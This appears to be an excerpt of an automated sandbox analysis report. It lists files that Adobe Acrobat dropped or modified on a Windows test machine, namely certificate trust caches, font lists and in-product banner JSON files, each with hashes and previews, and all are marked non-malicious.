Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklXGSHkltfllXlE/HT8kw3rXNNX8RolJuRdxLlGB9lQRYwpDdt:kKp6kleT87NMa8RdWBwRd
MD5:	89AAC017234D0827DA7A1B0902EDAC6D
SHA1:	8E8369239C63AF4699104037C746D83092AB8DAB
SHA-256:	DAFFBB283918408FE7AE990BD1F3F7147F3E7885C64A1E6A3807175E4E271E49
SHA-512:	79CB1994C101CB945F15F2416286C152DCD0872D6E417B0C8411782027A71ECE3B021838E8FCF9BE49B52B68502807522EB719DC0619CFC9545D4D999237B34A
Malicious:	false
Reputation:	low
Preview:	p...... .........c7U.&..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2478978672539016
Encrypted:	false
SSDEEP:	6:kKD6VlL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ykDImsLNkPlE99SNxAhUe/3
MD5:	0AFE878C2DC0B032D2BEFE824DFBA78A
SHA1:	C3EB5190BE4F0736EA4B65D2D0C658A4B1300C91
SHA-256:	9E69F2B60993F7EB0348FBC572A255C1288A35C3807C715C7E65064D1A6879CF
SHA-512:	18AC128946F433C03B5480910EFA0C865267429007BE011798EFA492C87CF18334BC4B7C6CBC4BE00470CFAEEA10D420C9EE0D63DC7517CDE6A4A952F8E5D9A8
Malicious:	false
Reputation:	low
Preview:	p...... .........6.g.&..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Reputation:	low
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Reputation:	low
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346936111385548
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJM3g98kUwPeUkwRe9:YvXKXJDbJhJH/jx6mdOGMbLUkee9
MD5:	9BC0526F9A4151882C58C3D96C85AD51
SHA1:	08461EB1F64615D46FDE4E3462FDABE2D2B63950
SHA-256:	4B1E2E5846D0C909D2B2EE4D2AF481BC6199F6141A904CB46E53470672A7CF77
SHA-512:	D633241926662D346231F29948ECC981C39EAAB5E953B83F0581BD643C1615A1DD3B35C445696EEAA26B4C6343532E3566CE058FF79985B1A24F6D9A3B7A3927
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2950310782663506
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJfBoTfXpnrPeUkwRe9:YvXKXJDbJhJH/jx6mdOGWTfXcUkee9
MD5:	B8EB7598FE0AE60695362095E6BFB21D
SHA1:	36CDBF275A415E6790323E9CD04472A978C2AB92
SHA-256:	05B06895383ECBF8155D1F5AB1E761565D8DDC64B5EC1BA65CFCEA9194423B99
SHA-512:	CBC1064CBD751C620AF0CE1D16BA79F2B37537473DC05CD4E97525ED73F101DAFCBA0F9A8BE87DBFA73EB715915EC84EF3DDA818683D9519D208FE6BD82C6800
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274790405923347
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJfBD2G6UpnrPeUkwRe9:YvXKXJDbJhJH/jx6mdOGR22cUkee9
MD5:	C34B0DE0A7441D580BCAA3ECEA46D2ED
SHA1:	BF3D862E4636C2C21D4FFD84EE62EA6ABBAC9D4F
SHA-256:	A7B72BCBADC0F70F634DB225C73FA89AB94F6AF6533DF8B3DCF84C07DDA18F0A
SHA-512:	C4540E91719795B16315188E68F92CE299E4B446FCEA5A642F810758BEB0BEF3DD12CB0826885A08CCE88D287544FF5B47F8279C2DAA4A666935B288F90A8E6C
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.332456199537416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJfPmwrPeUkwRe9:YvXKXJDbJhJH/jx6mdOGH56Ukee9
MD5:	45AA5412D37ED0AA968A693C4317985E
SHA1:	5B15FFE883F709F16A16EA00CC441A28B6F4E961
SHA-256:	43AE34318D44976FA9B7C2F0E436C4C70AF544A787810A2DB252EA1AF3AF6042
SHA-512:	4C0D6AC9A36475DE78A69F7D0115EA53C7980387E0BF38CDB4856D51296BF89C7026F2CC7AE8C3A31F3E1463E5CE79C951C309CB63D3CD55A70105F344D4B6C3
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	5.660591219728211
Encrypted:	false
SSDEEP:	24:Yv6Xtlvfd68pLgEscLf7nnl0RCmK8czOCCSPi:Yv+l88hgGzaAh8cv/Pi
MD5:	16466123E79A56E7BDFA4AB17B0079A6
SHA1:	465C297A0055A42B9F6B7C1CEE014A39534CD04F
SHA-256:	EAADEEF4E47979DA9B1B8192743E1BF48FB68C6908936331D8AE1DE7CEB04DA9
SHA-512:	122E12E58485E34DB7EC407BDF54ABFDFDA78B7D3E79956625A434A75C82882745BC0A96B87FB3113E60AC3ABFD4C5A4FAD1B94FFD1ABD7BCB33F0E8A8F8EAFC
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"92038_285529ActionBlock_1","campaignId":92038,"containerId":"1","controlGroupId":"","treatmentId":"eb1a4bce-8215-46f1-b44c-154b21a85d60","variationId":"285529"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNhdElkIjpudWxsfQ==","dataType":"application\/json","encodingScheme":tr

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.656898026535921
Encrypted:	false
SSDEEP:	24:Yv6Xtlvfd62VLgEF0c7sbnl0RCmK8czOCYHflEpwiVki:Yv+l82Fg6sGAh8cvYHWpwPi
MD5:	AA1AE5A3AC5DA6E7AC06C6D937C57933
SHA1:	FB9205F4273339F25585734B6B730991A265569F
SHA-256:	E48AB4A0C51CE6462C0C3FE69711F0C08E78C2924B7C76091BC91CF0178EF0AD
SHA-512:	6545900FE22DC058C9FE593A8724AC0714B496755F6CA5E563A634C3BCA945692F705393595CCCCF8707F6AECE21FD74139C31F650EB71E313FE7ADDB95D7A83
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_0","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"0924134e-3c59-4f53-b731-add558c56fec","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuZm9ybXMgJiBhZ3JlZW1lbnRzLiJ9LCJ0Y2F0SWQiOm51bGx9","dataType":"application\/json","encodingScheme":true},"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282655657287535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJfQ1rPeUkwRe9:YvXKXJDbJhJH/jx6mdOGY16Ukee9
MD5:	5EF2E802E2D83EC2B89A66515F30B39B
SHA1:	5E5523B459621356D28296C674009A80EF3295C3
SHA-256:	208D8F01A15806BB5A09665AFEA0E0E506C2A8F2EC88F6DA141D1C8F910B607B
SHA-512:	D05CBFE90E14E04270E236389A489FCE42EA43C6BB8DF5EB7D033B6DFE9F17EBCF6C9D5F62C5C69AA840E9069D62A5F49E3D6CA1FA1653D3106D32B139E831A0
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	5.649983238463646
Encrypted:	false
SSDEEP:	24:Yv6Xtlvfd6j2LgEF7cciAXs0nl0RCmK8czOCAPtciBki:Yv+l8jogc8hAh8cvAKi
MD5:	3F0438216134E4220D6807EBFBE8A3C9
SHA1:	C11274FDBAF242252D71BBF3104A18EABF184DD7
SHA-256:	F6C8405D47CA28DDF8DE66092BF378459012718B727F42FBB0FD59DE4420D1C0
SHA-512:	71D7AAA377A837519E5E582E372A6D2BD149666B19D92C78FCA446E169682FC0BE2B1B7766A7EBD142046F0A8FB30A0A65D59D03AA870D5EA32093393B119652
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_1","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"49d2f713-7aa9-44db-aa50-0a7a22add459","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVkaXQgdGV4dCwgaW1hZ2VzLCBwYWdlcywgYW5kIG1vcmUuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme":true},"endDTS":1744

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.697962830717528
Encrypted:	false
SSDEEP:	24:Yv6Xtlvfd6vKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5ki:Yv+l8vEgqprtrS5OZjSlwTmAfSKGi
MD5:	B37911FA13D721EB8E93C7B558CCB7F6
SHA1:	C447CB75512923DC1E6648E5EFB666B7BED8C493
SHA-256:	16CC39BCF5F744A9380A113FF87380B284FDCF600707B35F7C0AD2E41D9E6362
SHA-512:	7BF828F084FEC44E302CF561CDDF5E24A8705984014161643D9FA385F72339DA10522DC9104680168B0821CDD6A32E3B8D55EFD928C8E47031B055237CC74012
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287058755263854
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJfYdPeUkwRe9:YvXKXJDbJhJH/jx6mdOGg8Ukee9
MD5:	D6AABB06F7967369D7A2F2C665D382CA
SHA1:	A15AEABEE35D9532FD775971D5F297E86C31BD83
SHA-256:	566B2FF83EB4656A9BF2DCA69B3B56C909F44E6F389B09E0863EABD60FD30BE8
SHA-512:	5427E1176437E425E6B6B7B53746A7A393FF66319D115F7286DB6946117379FD2FFC6C35BA86F77621C7D9934DA218A53DD685234F220A1BDB23D9E67B6CB509
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.772326006766646
Encrypted:	false
SSDEEP:	24:Yv6Xtlvfd6yrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJN8i:Yv+l8yHgDv3W2aYQfgB5OUupHrQ9FJGi
MD5:	CA7F70A0BCEACEEA0E3E4CFBBB55AEB6
SHA1:	B5D466E0DEACF778692CC6959B2ED48A6BED903A
SHA-256:	574CC81D0A95AA48AEF3E4272FA98D7008F45DE040AED89A13F5D1956FA60F66
SHA-512:	7866501526EDC1F375334E7604AE988C10692FDDDB95A54EE2E82C56262B43F2A922D5C34DF8FB9E11FF9E2E781596BD68083F1A512C6DA03AF7CA2A76C3D358
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.27069479620051
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJfbPtdPeUkwRe9:YvXKXJDbJhJH/jx6mdOGDV8Ukee9
MD5:	81990F1C3D8D5B3855007E055BF81960
SHA1:	E680C420370F9C6F6FB7497DDD76F5FF45D9BC9A
SHA-256:	CD592E8F8FCD482F9FD27BA4B5FCBA41E811012F36AFD0FB2E55CCEF9807DE0E
SHA-512:	FE222F71EF2CEC9AF0B5765A131532781D2B901789635DC1AB82E05E9B533F7B325F995E3859CC2C0EA24A2C6B43EB378178DB5C7C94E451DE79507B82216A94
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272484754917861
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJf21rPeUkwRe9:YvXKXJDbJhJH/jx6mdOG+16Ukee9
MD5:	A405DD1A1EDD68332094F1EEB9AA3004
SHA1:	924B83F07A34756C84B0C70CBEBFAD24ED746082
SHA-256:	6A21010443E1BD2C6939EAF64806695433D6566B363315CD8DE75C5283EE82C0
SHA-512:	A9F0B956462DFC24763E192EED6F0F3785FA55256895F36186D85506E9F3AE8CDC5ED13BCBC08559B11345E00B3901EA87C0C9787F631C5438D25D05D8C3AEA4
Malicious:	false
Reputation:	low
